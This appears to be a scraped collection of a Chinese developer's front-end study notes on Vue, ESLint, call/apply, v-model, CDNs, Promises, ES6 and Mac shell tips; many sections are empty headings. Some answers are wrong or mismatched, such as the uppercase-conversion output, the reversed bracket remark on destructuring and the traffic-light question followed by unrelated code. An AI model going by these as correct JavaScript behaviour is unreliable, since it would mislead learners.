fix(); // 'get a'
	   // 'a', 2	

// 为参数 a 添加一个必传的校验:
function require() {
	throw new Error('缺少了参数 a')
}

function fix(a = require()) {
	console.log('a', a)
}

fix(1); // 'a', 1
fix(); // Uncaught Error: 缺少了参数 a

Vue CLi配置(@vue/cli 4.1.1)

image

image

image

image

ESLint配置

eslint-plugin-vue

Configuration

Running ESLint from command line

If installed @vue/cli-plugin-eslint, you should have lint script added in your package.json.That means you can just run yarn lint or npm run lint. Also, set alias(lint) by edit ~/.zshrc (alias lint="npm run lint")

elementUI按需引入

  • 借助 babel-plugin-component,可以只引入需要的组件,来达到减少项目体积的目的。
  • 更改 .babelrc 文件。

分割按需引入的代码

配置webpack目录别名alias

使用 webpack-chain 链式API的调用方式,简化了对webpack配置的修改。
修改配置文件 vue.config.js
image

配置模块化路由

Vue中修改elementUI样式

ElementUI中使用自定义指令

el-select中聚焦input输入框

Vue Router报错(Uncaught (in promise) NavigationDuplicated)

参考文章

从一条命令ll(ls -l)来看

Linux命令-ll详解

Linux中的 wheel组和 staff组

如何修改文件权限

Mac下如何将指定的用户添加到指定的group中

理解call、apply、bind

callapply都是为了改变某个函数运行时的上下文(context)而存在的,即为了改变函数体内部this的指向。

JS的一大特点:函数存在【定义时上下文】和【运行时上下文】以及【上下文是可以改变的】这样的概念。

深入理解运用apply、call

定义一个 log 方法,让它可以代理 console.log 方法:

// 常见写法(当传入参数的个数是不确定的时候,下面的方法就失效了)
function log(params) {
     console.log(params)
}
log(1); // 1
log(1,2); // 1

使用apply或者call,因为传入多少个参数是不确定的,所以最好使用apply

function log() {
     console.log.apply(console, arguments);
}
log(11,2,3,4,5,6,7); // 11,2,3,4,5,6,7

要求给每一个 log 消息添加一个"(app)"的前缀:
log("hello world"); // (app)hello world

首先想到arguments参数是个伪数组,通过Array.prototype.slice.call转化为真正的数组,再使用数组的unshift方法将"(app)"拼在前面即可。

function log(){
	var args = Array.prototype.slice.call(arguments);
	args.unshift('(app)');
	console.log.apply(console,args);
}
log('zhangjing'); // (app)zhangjing

bind详解

apply、call、bind比较

v-model深入理解

基础用法

v-model指令常用在表单<input><textarea><select>元素上创建双向数据绑定。

先来看个官网的简单例子

<input type='text' v-model='message' placeholder='edit me'>
<p>Message is: {{message}}</p>

p标签内的内容会随着用户在input框中输入的内容跟着变化。

v-model 是语法糖

首先要明确的一点是:v-model仅仅是语法糖。

<input type='text' v-model='message'>
<!--等价于-->
<input type='text' :value='message' @input='message = $event.target.value'>

input元素本身有个oninput事件,每当输入框内容发生变化,就是触发oninput,把最新的value值传递给message

v-model 用在组件上

v-model 写在哪里?

这里第一个需要思考的问题就是v-model指令是写在子组件里还是父组件里。

文档中有提到

要让组件的 v-model 生效,它应该:

  • 接受一个 value属性
  • 在有新的值时触发 input事件更新值

从上面可知,我们需要通过触发事件来实现 value的更新,而Vue中:

父子组件的关系可以总结为 props down, events up

显然,我们要将v-model写在父组件中,若此时子组件想修改value的值,只需要分发事件$emit('input', $event.target.value),即可更新父组件中v-model绑定的值。

如何更改v-model绑定的值

// html
<div id="app">
    <custom-input v-model="val"></custom-input>
    <h1>当前父组件的val值为:{{val}}</h1>
</div>
// js
Vue.component('custom-input', {
        template: `
                 <div class='custom-input'>
                         <!--为什么把'input'作为触发事件的事件名?'input'在哪定义的?-->
                         <input type='text' :value='value' @input='updateInputVal'> 
                 </div>
        `,
         props: ['value'],  // 这里为什么要用value属性,value是在哪里定义的呢?
         methods:{
                  // 子组件更新父组件的值
                  updateInputVal(e){
                              this.$emit('input', e.target.value)
                   }
         }
})

window.vm = new Vue({
        el:"#app",
        data:{
               val:"请输入内容哦!"
        }
})

先来看下上面两个问题。props中接受了value,但是在组件<custom-input v-model='val'></custom-input>中并没有传入value,而且在input标签中监听了input事件,但是并没有在父组件中定义input事件来处理子组件传递过来的值。

要理解这两点疑问,需要回到语法糖的问题上:
<custom-input v-model='val'></custom-input>
本质上等价于:
<custom-input :value='val' @input='val = arguments[0]'></custom-input>

代码分析

子组件通过props:['value']获取到父组件变量val的值。当在input标签中输入内容时会触发子组件监听的input事件,同时会向父组件传递input事件($emit中的input)事件,并且传递当前子组件中输入的值($event.target.value);而在父组件中,因为监听了自定义事件input,当自定义事件input触发后,会对当前父组件自身的val值进行修改,更改为子组件中$emit上来的值。($event.target.value 是作为$emit传递的参数,所以是arguments[0])

v-model 存在的弊端

一个组件上的v-model默认会利用名为value的prop和名为input的事件,但是像单选框、复选框或> 者<select>等类型的控件可能会将value特性用于不同的目的。

在官网上刚开始看到这句话的时候我是一脸懵逼的,不过不要紧让我们先跟着代码往下看。

创建复选框或者单选框等组件时,v-model就不好用。
<input type='checkbox' v-model='sth' />

v-model提供了value属性和oninput事件,但是我们需要的是checked属性而不是value属性,并且当点击这个单选框的时候不会触发oninput事件,只会触发onchange事件。

// html
<div id="app">
    <custom-checkbox v-model="isShow"></custom-checkbox>
</div>
// js
Vue.component('custom-checkbox', {
        template: `
            <div class="custom-checkbox">
                <input type="checkbox" :checked="value" @change="updateCheckboxVal">
            </div>
        `,
        props:['value'],
        methods:{
	        updateCheckboxVal(e){
	            this.$emit('input', e.target.checked)
            }
        }
})

window.vm = new Vue({
        el:"#app",
        data:{
               isShow: false
        }
})

刚开始可以看到复选框是没被点中状态的。当点击复选框时,可以看到父组件的isShow字段的值变为了true同时复选框变为choose状态;再次点击,父组件的isShow字段值变为false且复选框为未被点中状态。
这里也很好分析
<custom-checkbox v-model="isShow"></custom-checkbox>
等价于
<custom-checkbox :value="isShow" @input='isShow = arguments[0]'></custom-checkbox>

但是对于单纯的input type='checkbox',我们更应该关注的是checked属性的值以及触发事件是change方法而不是input事件, 期待<input type='checkbox' :checked='status' @change='status = $event.target.checked' /> 这样的,而且上面的弊端也很明显就是在父组件上使用v-model时,都会默认的将value属性用v-bind绑定,对于input标签没问题,但是对于其他的标签或许value这个属性有别的作用,这样使用就显得太过于死板了。

解决办法

官网提供了一种解决方案,通过model选项来避免这样的冲突:

// html
<base-checkbox v-model='lovingVue'></base-checkbox>
// js
Vue.component('base-checkbox', {
        model: {  // 通过model选项来指定prop和event
            prop: 'checked',
            event: 'change'
        },
        props: {
            checked: Boolean // 这里不需要用value,而是改为 checked
        },
        template: `
            <input
              type="checkbox"
              :checked="checked"
              <!--这里也不需要分发 input事件,而是分发 change事件--> 
              @change="$emit('change', $event.target.checked)"
            >
        `
})

可以看到新增的model属性值中有两个key,这两个key其实就是v-model这个语法糖所代表的propevent,分别表示 该表单元素的值 和 改变元素值时触发的事件。在input中,这两个值是valueinput,在checkbox中表示checkedchange

可以这样理解,在子组件中配置的model属性与v-model是强相关的。

// html
<base-checkbox v-model='lovingVue'></base-checkbox>

// 子组件model配置
model: {
     prop: 'checked',  // 告诉子组件props中所需要的属性为checked; 同时对于父组件相当于 :checked='lovingVue'
     event: 'change'   // 告诉子组件要想通过$emit分发事件去修改父组件的值需要分发 change事件;通过对于父组件相当于 :change='lovingVue = arguments[0]'
}

参考文章

聊聊CDN

前言

写下这篇博文主要还是想扩展一下自己的知识面,让自己不能只停留在写业务代码的阶段。其实关于CDN,在很多关于前端性能优化的文章中会经常提到,之前自己也只是停留在听过的阶段,最近有幸看到几篇关于CDN讲解很好的文章,所以特意结合自己的理解记录下这篇博文。

什么是CDN?

CDN:全称是Content Delivery Network,即内容分发网络。

CDN是为了尽可能避开互联网上有可能影响数据传输数据和稳定性的瓶颈和环节,使内容能够传输的更快、更稳定。通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络。CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息来将用户的请求重新导向到离用户最近的服务节点上。

使用CDN的好处或作用?

访问加速

CDN作为前端性能经典手段,它的好处在于减少了用户发起请求到得到响应数据的时间

思考一个问题:为什么使用CDN就能加快得到响应数据呢?

这个问题得从CDN的工作原理开始讲起。

传统网站访问:

浏览器输入域名=》通过DNS服务器解析出对应的IP地址=》用户向该IP对应的服务器发送访问请求=》服务器返回数据

使用了CDN的网站访问

CDN工作流程
可以看出与传统访问方式不同,CDN网络是在用户和服务器之间增加了缓存层,将用户的访问请求引导到最优的缓存节点而不是服务器源站点,从而加速访问的速度。

CDN的基础架构

最简单的CDN网络由一个DNS服务器和几台缓存服务器组成:

  • 当用户点击网站页面上的内容URL,经过本地DNS系统解析,DNS系统会最终将域名的解析权交给CNAME指向的CDN专用DNS服务器。
  • CDN的DNS服务器将CDN的全局负载均衡设备IP地址返回给用户。
  • 用户向CDN的全局负载均衡设备发起内容URL访问请求。
  • CDN全局负载均衡设备根据用户IP地址,以及用户请求的内容URL,选择一台用户所属区域的区域负载均衡设备,告诉用户向这台设备发起请求。
  • 区域负载均衡设备会为用户选择一台合适的缓存服务器提供服务,选择的依据包括:根据用户IP地址,判断哪一台服务器距用户最近;根据用户所请求的URL中携带的内容名称,判断哪一台服务器上有用户所需内容;查询各个服务器当前的负载情况,判断哪一台服务器尚有服务能力。基于以上这些条件的综合分析之后,区域负载均衡设备会向全局负载均衡设备返回一台缓存服务器的IP地址。
  • 全局负载均衡设备把服务器的IP地址返回给用户。
  • 用户向缓存服务器发起请亲,缓存服务器响应用户请求,将用户所需内容传送到用户终端。如果这台缓存服务器上并没有用户想要的内容,而区域均衡设备依然将它分配给了用户,则这台服务器就会向它的上一级缓存服务器请求内容,直到追溯到网站的源服务器将内容拉到本地。
    CDN

本地Cache加速

本地Cache加速,提高企业站点(尤其当含有大量图片和静态页面站点)的访问速度,并大大提高以上站点的稳定性,同时也减轻了源服务器的压力。

镜像服务

镜像服务消除了不同运营商之间互联的瓶颈造成的影响,实现了跨运营商的网络加速,保证不同网络中的用户都能得到良好的访问质量。

远程加速

远程访问用户(距离源服务器物理位置较远的用户)根据DNS负载均衡技术智能自动选择Cache服务器,选择最快的Cache服务器,加快远程访问的速度。

带宽优化

自动生成服务器的远程Mirror(镜像)cache服务器,远程用户访问时从cache服务器上读取数据,减少远程访问的带宽、分担网络流量、减轻原站点WEB服务器负载等功能。

集群抗攻击

广泛分布的CDN节点加上节点之间的智能冗余机制,可以有效地预防黑客入侵以及降低各种DDos攻击对网站的影响,同时保证较好的服务质量。

关于CDN的一些常见名词

1、Origin Server源站

做 CDN 之前的客户真正的服务器。

2、User

访问者,也就是要访问网站的网民。

3、Last Mile

最后一公里,也就是网民到他所访问到的 CDN 服务器之间的路径。

4、域名

域名是Internet网络上的一个服务器或一个网络系统的名字,全世界,没有重复的域名。

5、CNAME记录

它是一个别名记录( Canonical Name );当 DNS 系统在查询 CNAME 左面的名称的时候,都会转向 CNAME 右面的名称再进行查询,一直追踪到最后的 PTR 或 A 名称,成功查询后才会做出回应,否则失败。

6、CNAME域名

CDN的域名加速需要用到CNAME记录,在阿里云控制台配置完成CDN加速后,您会得到一个加速后的域名,称之为CNAME域名(该域名一定是*. http://kunlun.com), 用户需要将自己的域名作CNAME指向这个.* http://kunlun.com的域名后,域名解析的工作就正式转向阿里云,该域名所有的请求都将转向阿里云CDN的节点。

7、DNS

DNS即Domain Name System,是域名解析服务的意思。它在互联网的作用是:把域名转换成为网络可以识别的ip地址。人们习惯记忆域名,但机器间互相只认IP地址,域名与IP地址之间是一一对应的,它们之间的转换工作称为域名解析,域名解析需要由专门的域名解析服务器来完成,整个过程是自动进行的。

比如:上网时输入的百度一下,你就知道会自动转换成为220.181.112.143

8、边缘节点

也称CDN节点、Cache节点等;是相对于网络的复杂结构而提出的一个概念,指距离最终用户接入具有较少的中间环节的网络节点,对最终接入用户有较好的响应能力和连接速度。其作用是将访问量较大的网页内容和对象保存在服务器前端的专用cache设备上,以此来提高网站访问的速度和质量。

9、cache

cache高速缓冲存储器一种特殊的存储器子系统,其中复制了频繁使用的数据以利于快速访问。存储器的高速缓冲存储器存储了频繁访问的RAM位置的内容及这些数据项的存储地址。当处理器引用存储器中的某地址时,高速缓冲存储器便检查是否存有该地址。如果存有该地址,则将数据返回处理器;如果没有保存该地址,则进行常规的存储器访问。因为高速缓冲存储器总是比主RAM存储器速度快,所以当RAM的访问速度低于微处理器的速度时,常使用高速缓冲存储器。

参考文章

ES6模块:Promise

Promise是什么(出现的原因)?

用来编写异步代码,处理回调地狱。

Promise的基本信息

Promise的三种状态

promise实例有三种状态:

  • pending(进行中)
  • fulfilled(已成功)
  • rejected(已失败)

Promise对象状态的改变只有两种可能:从pending变为fulfilled或者从pending变为rejected而且当状态已经发生改变后,就不会再变,会一直保持这种状态,这时就称为resolved(已定型)。

const promise = new Promise((resolve, reject) => {
  resolve('success1') // Promise的状态已经从pending变为了fulfilled(即已resolved),后续再通过调用resolve或者reject去改变该Promise的状态都是无效的。
  reject('error')
  resolve('success2')
})

promise
  .then((res) => {
    console.log('then: ', res)
  })
  .catch((err) => {
    console.log('catch: ', err)
  })

运行结果:then: success1

Promise.reject与try...catch的差别

Promise值穿透

Promise的链式then()是怎样执行的?

new Promise(resolve => {
      resolve();
})
.then(() => console.log(1))
.then(() => console.log(2))
.then(() => console.log(3))

new Promise(resolve => {
      resolve();
})
.then(() => console.log(4))
.then(() => console.log(5))
.then(() => console.log(6))

运行结果:
1 4 2 5 3 6

分析:

  • Promise多个then()链式调用,并不是连续的创建了多个微任务并推入微任务队列,因为then()的返回值必然是一个 Promise,而后续的then()是上一步then()返回的Promise的回调。(可以理解为下一个.then()方法要想被执行,就必须等待上一次.then()方法的状态变为resolved才行)
  • 传入Promise构造器的执行器函数内部的同步代码执行到resolve(),将 Promise 的状态改变为<resolved>: undefined,然后 then 中传入的回调函数console.log('1')作为一个微任务被推入微任务队列。
  • 第二个then()中传入的回调函数consoel.log('2')此时还没有被推入微任务队列,只有上一个then()中的console.log('1')执行完毕后(即为resolved状态),console.log('2')才会被推入微任务队列

总结:

  • Promise.prototype.then()会隐式返回一个新 Promise。
  • 若Promise的状态是pending,则then会在该Promise上注册一个回调,当其状态发生变化时,对应的回调将作为一个微任务被推入微任务队列。
  • 若Promise的状态已经是fulfilled 或 rejected(即 resolved 状态),则then()会立即创建一个微任务,将传入的对应的回调推入微任务队列。

Promise的相关面试题

题目:红灯三秒亮一次,绿灯一秒亮一次,黄灯2秒亮一次;如何让三个灯不断交替重复亮灯?(用Promise实现)

const red = () => console.log('red');
const green = () => console.log('green');
const yellow = () => console.log('yellow');
const promise1 = new Promise((resolve, reject) => {
  setTimeout(() => {
    resolve('success')
  }, 1000)
})
const promise2 = promise1.then(() => {
  throw new Error('error!!!')
})

console.log('promise1', promise1)
console.log('promise2', promise2)

setTimeout(() => {
  console.log('promise1', promise1)
  console.log('promise2', promise2)
}, 2000)

运行结果:

Promise.resolve()
    .then(() => {
	return new Error('error!!!')
    })	
    .then(res => {
	console.log('then: ', res)
    })
    .catch(err => {
	console.log('catch: ', err);
    })

运行结果:
then: Error: error!!!

解释:.then或者.catch中return一个 error 对象并不会抛出错误,
因为返回任意一个非promise的值都会被包裹成promise对象,
即 return new Error('error') 等价于 return Promise.resolve(new Error('error'))。
所以不会被后续的catch方法捕获,需改成下面中的一种。
1. return Promise.reject(new Error('error!!!'))
2. throw new Error('error!!!')
const promise = Promise.resolve().then(() => promise);
promise.catch(console.error);

运行结果:
TypeError:Chaining cycle detected for promise #<Promise>

解释:.then或.catch返回的值不能是 promise 本身,否则会造成死循环。
Promise.resolve(1)
   .then(2)
   .then(Promise.resolve(3))
   .then(console.log)

运行结果:1

解释:.then或者.catch的参数期望是函数,传入非函数则会发生值穿透。
const p = new Promise((resolve, reject) => {
    return Promise.reject(new Error('Fail!'));
})
p.catch(error => console.log(error.message));

运行结果:
报错 Uncaught(in promise)Error: The Fails!   并且不会触发 `.catch` 方法的执行打印出内容。

解释:使用 Promise 构造函数时,必须调用 `resolve()` 或 `reject()` 回调,来让 promise 实例变为 `resolved` 的状态。上述方法直接 `return Promise.reject()` 并不会让 p 这个 promise 实例变为 `resolved` 状态,此时 p 仍然还是 `pending` 状态,所以也无法触发 `.catch` 方法的执行。
Promise.resolve('Success!')
    .then(data => {
         return data.toUpperCase()
    })
    .then(data => {
        console.log(data);
        return data;
    })
    .then(console.log)

运行结果:Success!   Success!
const first = () => (new Promise((resolve,reject)=>{
    console.log(3);
    let p = new Promise((resolve, reject)=>{
         console.log(7);
        setTimeout(()=>{
           console.log(5);
           resolve(6); 
        },0)
        resolve(1);
    }); 
    resolve(2);
    p.then((arg)=>{
        console.log(arg);
    });

}));

first().then((arg)=>{
    console.log(arg);
});
console.log(4);

运行结果:3 7 4 1 2 5
解释:

参考文章

es6

数组和对象解构赋值

解构使得将数组或对象的值分配给新变量更容易。

const contacts = {
        name:'zj',
        age:25,
        love:'winter'
 }

// 可以重命名变量
let {name,age,love:season} = contacts
console.log(name); // zj
console.log(age);    // 25
console.log(season); // winter


const obj = { foo: 123};
const { writable, configurable} = Object. getOwnPropertyDescriptor(obj,'foo');

console.log(writable, configurable); // true  true

对于数组,也是使用与对象相同的语法。只需要将方括号替换为花括号

  const Arr = ['Lionel', 'John', 'Layla', 20];

  let [a,b,c,d] = Arr;

可以忽略你不感兴趣的返回值

  function f(){
       return [1,2,3];
  }

  let [a, ,b] = f();
  console.log(a); // 1
  console.log(b); // 3

有什么地方可以使用解构

  function getUserId({id}){
       return id;
  }

  function whois({displayName: displayName, fullName: {firstName: name}}){
       console.log(displayName + ' is ' + name);
  }

  const user = {
        id: 100,
        displayName: 'assassinZJ',
        fullName: {
             firstName: 'jing',
             lastName: 'zhang'
        }
  };

  console.log('userId: ' + getUserId(user));  // 'userId: 100'

  whois(user); // 'assassinZJ is jing'

Rest 参数和 Spread 运算符

async/await

async函数的返回值

async关键字做了什么:

  • 被 async 操作符修饰的函数必然返回一个 Promise;
  • 当 async 函数返回一个值时,Promise 的resolve方法负责传递这个值;
  • 当 async 函数抛出异常时,Promise 的reject方法会传递这个异常值。
async function fn() {
     return 'async111';
}
const p = fn();
console.log(p); // Promise {<resolved>: "async111"}  (返回一个状态为resolved,值为async111的Promise实例)

// 等价于
function fn1(){
    return Promise.resolve('async111');    
}
const p1 = fn1();
console.log(p1); // Promise {<resolved>: "async111"} 

await操作符做了什么

简单总结一下对于 await v

  • await 后的值 v 会被转换为 Promise
  • 即使 v 是一个已经 fulfilled 的Promise,还是会新建一个Promise,并在这个新Promise中resolved(v)
  • await v 后续的代码的执行类似于传入 then()的回调。

快速查看Mac IP地址

方法一

  • 打开终端,输入ifconfig,敲击回车;
  • 肉眼查找 en0 下的inet值。

方法二

  • 点击右上角 WiFi 图标;
  • 选择【打开网络偏好设置】。

方法三

  • 按住 Option 键,同时点击右上角 WiFi 图标即可。

方法四(设置别名)

  • vi ~/.zshrc
  • alias myip="ifconfig | grep inet\ "
  • source ~/.zshrc

参考

mac常用命令

用 Finder 打开当前目录

$ open .

安装 Oh My Zsh 方法

github地址

mac下切换默认终端为zsh

mac os 系统默认的终端为bash,切换该终端为zsh,可以用以下命令

chsh -s /bin/zsh

切回默认终端bash

chsh -s /bin/bash

为应用增加别名

// 修改 .bash_profile
vim .bash_profile

//修改完后,重启终端或者执行下面命令
source ~/.bash_profile

ES6模块:迭代器与for of

Iterator概念

迭代器(Iterator)是一个接口,为各种不同的数据结构提供统一的访问机制。任何数据只要部署了Iterator接口,就可以完成遍历。

迭代器的作用:

  • 为各种数据结构提供一个统一的、简便的访问接口;
  • 使数据结构成员能够按某种次序排列;
  • Iterator接口主要供 ES6 创造的一种新的遍历命令for...of循环来消费。

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.